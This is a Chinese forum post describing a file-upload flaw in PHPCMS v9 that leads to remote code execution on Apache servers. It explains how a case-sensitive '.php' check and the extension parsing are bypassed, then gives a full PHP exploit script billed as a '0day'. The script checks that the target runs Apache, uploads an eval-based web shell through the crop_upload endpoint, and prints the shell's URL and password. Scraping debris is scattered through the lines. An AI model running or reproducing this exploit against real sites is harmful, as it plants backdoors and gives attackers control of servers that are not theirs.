找回密码
 立即注册
查看: 3097|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
. Q/ {2 a; s; U' @& R: o# @+ E, N* \7 Q* O
简要描述:) i/ v9 Z- E. o( R8 y, ^, Y
- D# n6 {- K, _1 V9 P# [- C
phpcms v9 getshell (apache)
" ?" h( e& O2 q6 O详细说明:* A) h  B. g/ K0 G  F
' B. Y' x0 R# c+ w
漏洞文件:phpcms\modules\attachment\attachments.php
0 u" C1 \( ?& x! G) r
" Y: d# h. I: ?$ Lpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 2 n' c- w% \( H* X
后缀检测:phpcms\modules\attachment\functions\global.func.php
( g4 g& H/ K8 s. k5 e: P$ W5 ]9 S' P' z9 T
" A2 O9 C  Z' {0 d/ N+ L' Y+ `2 _+ `. h

" k% T3 ?9 i9 }9 S  ~5 ~2 ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
" J% x4 y1 ^& T4 L4 r, a( J4 i8 z6 g. y* Y0 E) ?
关键函数:. l  ]3 N5 S1 j, y
5 s" u% T: g3 C* |7 }
- O$ r% T; H! Q2 b
% T9 l# S6 O7 j; ^( C3 h6 D
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
( r% }: j& g* n+ q2 j7 \& Q7 i
. `5 ~- `9 D) n3 ?+ A  Fileext函数是对文件后缀名的提取。
+ c/ B' s. r/ P; v) a根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
( Y/ a# l$ @; w" H0 A经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
& M  }% S/ Q8 x4 P, H" O, p我们回到public function crop_upload() 函数中" I4 F; e. k$ X7 |. ^
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ a0 h+ t+ L& @在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
! y# F. |. w/ N这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
5 u: W0 x% x% H# X9 W  g1 h9 c经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
5 O4 D2 k3 o' m) m& L1 ~& N. z最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 D: }2 E: g/ _+ R9 @$ ]看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
" R; ?9 M3 k# ~( l3 @! _$ \漏洞证明:( r# T+ L7 P7 h

2 x- S/ E4 q: X3 S" ]" s9 Pexp:2 |2 p4 c! ]- o1 H8 K
% f( w# [3 x: x& D
<?php
: |% U8 z" s# j" _; Herror_reporting(E_ERROR);* O4 u3 T1 D. b  q2 ~/ R+ z" a% W
set_time_limit(0);$ q# ~% y3 d0 F9 v
$pass="ln";! h3 L- |) J# B2 T6 V& g9 }5 ]
print_r('
9 T" n6 B. ^9 D5 m8 f  d2 ]+---------------------------------------------------------------------------+2 N$ [4 P2 w' l. |% `, q2 B
PHPCms V9 GETSHELL 0DAY 4 q/ a7 c, h( A" r
code by L.N.) \/ s, t; O+ y. t: `8 Q& }

0 b- Y( g1 _; T' j/ A/ O9 N& zapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net4 J, g# \, H) S
+---------------------------------------------------------------------------+4 B* h! w- {: Y+ _  G. K# N( b
');
% V2 P( Y5 F% d, D/ \if ($argc < 2) {
& F) D* s5 U5 Hprint_r('
; ]# v1 w$ Y( d. e, ~+---------------------------------------------------------------------------+
$ P. [* i' j. iUsage: php '.$argv[0].' url path
& g5 M; r+ M. T* k. i' t  ^! ?7 \. O$ B. s9 ]: C6 B7 \
Example:8 q7 G. ^- I1 n, A& Z
1.php '.$argv[0].' lanu.sinaapp.com
+ S" }- u1 V/ h, i2.php '.$argv[0].' lanu.sinaapp.com /phpcms
# F8 R$ u; g! Y  Q  h+---------------------------------------------------------------------------+2 f1 g, M0 H7 @1 m, U# z
');
1 g% k9 P3 {6 l; S, C$ |/ K% Oexit;3 }- c' Z, F3 ?9 X; y3 s1 v9 `
}
/ H% a6 {: J2 w* n6 m# r, j2 r/ e# c* s! c
$url = $argv[1];8 F4 b* K/ Z$ j9 i: O
$path = $argv[2];
9 S& y3 w+ J5 @( Z5 y1 D* a1 Z+ I) M4 D4 U$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';; y8 M" M1 W$ E. Y. a
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
/ W! V2 ~- r' Vif($ret=Create_dir($url,$path))
! C' Z7 N& G$ E{3 R1 ^& }" C+ o, J
//echo $ret;
) i8 r4 K+ I" `, k8 Q2 G3 g$pattern = "|Server:[^,]+?|U";
$ [- ~. q4 x1 X" Z: Epreg_match_all($pattern, $ret, $matches);5 F4 {! ~, C3 i+ e2 l" x
if($matches[0][0])8 c; t0 |+ X  C, I
{
& s* {6 S+ f. h" I6 Lif(strpos($matches[0][0],'Apache') == false)
: G7 q( W4 R- t# j  c{  u8 [8 R/ T4 v: Z! r
echo "\n亲!此网站不是apache的网站。\n";exit;
" A. f( @" `. h  T}' W2 \" P, L! ^# K2 U" i
}" {' G( j8 U6 @7 L
$ret = GetShell($url,$phpshell,$path,$file);
. ]* z7 ~- g3 R9 ^2 I2 M/ \$pattern = "|http:\/\/[^,]+?\.,?|U";* b% _! t1 _3 v
preg_match_all($pattern, $ret, $matches);9 b2 z, C$ x" ~6 t8 @# @
if($matches[0][0])
2 C) ~6 O: C0 W- P9 C5 k# }{: \9 ~2 O' j1 C& s- ]& \
echo "\n".'密码为: '.$pass."\n";
7 W0 t4 k& L' }3 W' \1 v/ Uecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 A- ]) C" _# V, {5 Q' x}
" n  y/ o2 y# ?$ x* X  C4 ?8 T4 Y6 [else
0 w$ F. W0 Y% w{
8 Q$ b) ~8 F2 _5 C. a$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
4 i" Q- q% w/ w& x  [+ rpreg_match_all($pattern, $ret, $matches);  H5 L# `" X5 y+ y
if($matches[0][0])
" w+ G6 l2 y2 f{
* A3 G" p! m  o8 Recho "\n".'密码为: '.$pass."\n";( R+ L3 S: U  x( a3 t
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;& ~2 p2 [' F4 V0 y+ w' y% Y+ a
}7 f( e; }8 a% Z7 O# q4 t
else
3 v- _" J! ]8 v, ^: C{
7 e8 c5 q) _6 i% F3 ]echo "\r\n没得到!\n";exit;2 O& I" B& N6 X8 _: Z/ f5 j) k
}
; U4 m  K/ r3 m  q/ r/ D, `}
: |, D0 i# V" q7 C. N1 L}" A. [2 p4 n$ ?

- }# \8 ?. S) R8 n' c% V4 h# \7 ~function GetShell($url,$shell,$path,$js)
, _9 |, J  F7 \/ {{/ p: K) W0 O; ^
$content =$shell;
: v+ D$ t9 G$ h, B$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- n7 Z% ]5 J/ s0 x$data .= "Host: ".$url."\r\n";
2 g' S3 N* _* Q" z/ o9 o$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";0 @6 B1 b9 X; `7 T7 Q9 W- A
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 n: Z: A! m1 x  S, Y) y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; s  C4 @# e$ f6 U$ f$data .= "Connection: close\r\n";, x+ X' [6 Q* B8 M0 Y0 u4 q
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 b+ ], E" ^, h5 }5 q! o  Q' ?$data .= $content."\r\n";
- b; k' K/ \) ?+ t7 g6 I  e+ b$ock=fsockopen($url,80);+ l- q0 \1 o1 t7 q' G0 S; D
if (!$ock)
' Y% ~* K( S7 O  ~{5 m( n  e8 ]% L) p5 \6 ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. Y9 b9 R" }- T
}# ~* |9 g2 ]/ }' @  g
else
4 t: }3 Z0 {- O9 X5 w5 F5 ]{# o, D* x2 s1 X( d0 N- m
fwrite($ock,$data);# m: {3 `, x% n7 T! Q* F( @
$resp = '';
9 V' D# t2 ?- `- w& R+ l6 t2 Rwhile (!feof($ock))
+ p. r0 R/ E" T$ q{( n" k0 u! b* m. V1 k
$resp.=fread($ock, 1024);  U% ~- [: B7 v$ E  D1 q1 @1 X
}
" G6 [" b; q- V5 W2 N0 L5 yreturn $resp;
- s  {. n8 I4 T4 w3 M, k+ V}: \8 E& ]5 b  R$ y( s
}
) j5 A. k+ V! q, z$ H9 ~7 [* v3 G. q4 ~5 s
function Create_dir($url,$path=''): N8 v9 I( L/ S) H2 D' g! G
{
) v( M% l7 R, b, z; h9 t$content ='I love you';
! R( F* W4 E# u/ X/ U2 I& z! u) ?% X% Q$ u$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";% Q% K) M8 }  \- y  E$ M( g, @
$data .= "Host: ".$url."\r\n";
! ~5 ?0 X! q0 c' I1 |9 Z$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
" f5 q* |8 z! p$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";/ {& d0 m5 ?+ E0 W) C1 ]1 g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 x8 v- r7 D9 b$data .= "Connection: close\r\n";
/ r& R+ H' D& Q' X4 X$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 \* @% h( j7 e. d7 u
$data .= $content."\r\n";
8 f' I5 i# |! w: D; J+ Z$ock=fsockopen($url,80);$ R$ B. S' [2 _% h6 p" S
if (!$ock)
# X, t& j- j8 F; j/ F{7 g, D" h" e& j3 ^) z
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;9 q3 m9 b/ {% }8 b1 A
}
5 X& a$ X1 E8 Cfwrite($ock,$data);
0 s! T: W( V* s: s5 z  l$ g$resp = '';
4 K0 E5 R& M' X7 G) |4 s3 Wwhile (!feof($ock))
" {3 {! H, V1 }+ Q, t; V4 _& F0 X{
; M4 z" ^# B: Q1 z1 E4 Y$resp.=fread($ock, 1024);
: p8 E  a! g& e}
6 }9 s* K0 b5 C, o  p6 treturn $resp;
! a1 q% I# _# d, O# T}
2 M+ C  v7 D0 i8 e?>
5 K+ l- R6 V3 v, L$ h- t
' `3 \# E( N+ d6 z" |9 p修复方案:8 ]+ |' o, b$ Y4 P# c0 S8 O
: i3 R& E& K$ \! B- f" |
过滤过滤再过滤
) S$ U/ S. ]! _* i# l! W7 D) c' H; J. |0 g+ Q" S% j) }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表